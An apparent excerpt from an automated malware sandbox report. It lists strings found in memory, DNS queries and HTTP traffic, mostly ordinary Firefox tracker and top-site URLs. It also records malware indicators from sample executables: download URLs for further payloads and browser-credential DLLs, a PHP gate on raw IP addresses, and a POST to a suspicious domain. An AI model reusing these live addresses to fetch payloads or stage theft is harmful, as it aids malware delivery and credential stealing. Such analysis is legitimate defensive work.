"://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/Z equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2928411061.00000294ADCF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADCC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2903676258.00000294ABD9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2931152196.00000294ADF43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: firefox.exe, 0000001F.00000002.2903676258.00000294ABDA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2841617207.00000294B43CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2841617207.00000294B43F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2841617207.00000294B43FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe:
Source: 5a20612cd1.exe, 00000011.00000003.3222473659.0000000005777000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3224936078.0000000005793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 5a20612cd1.exe, 00000011.00000003.3222473659.0000000005777000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3224936078.0000000005793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exed4Ke
Source: 5a20612cd1.exe, 00000011.00000003.3222473659.0000000005777000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3224936078.0000000005793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp, 0882197cda.exe, 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2220844676.000000000C319000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220844676.000000000C312000.00000004.00000020.00020000.00000000.sdmp, 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp, 0882197cda.exe, 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/(
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0
Source: file.exe, 00000000.00000002.2220844676.000000000C319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/5
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllP
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllz
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll&
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllN
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2215093487.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlll
Source: file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 0882197cda.exe, 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.5f
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/D
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: file.exe, 00000000.00000002.2220844676.000000000C312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpIIEC.exe.
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJ4
Source: file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpYHZhJogONYm.exe
Source: file.exe, 00000000.00000002.2220844676.000000000C312000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2220844676.000000000C319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppresolver.dll
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr4
Source: file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ta
Source: 0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206LocalGoogle
Source: file.exe, 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Qvx
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phprofiles
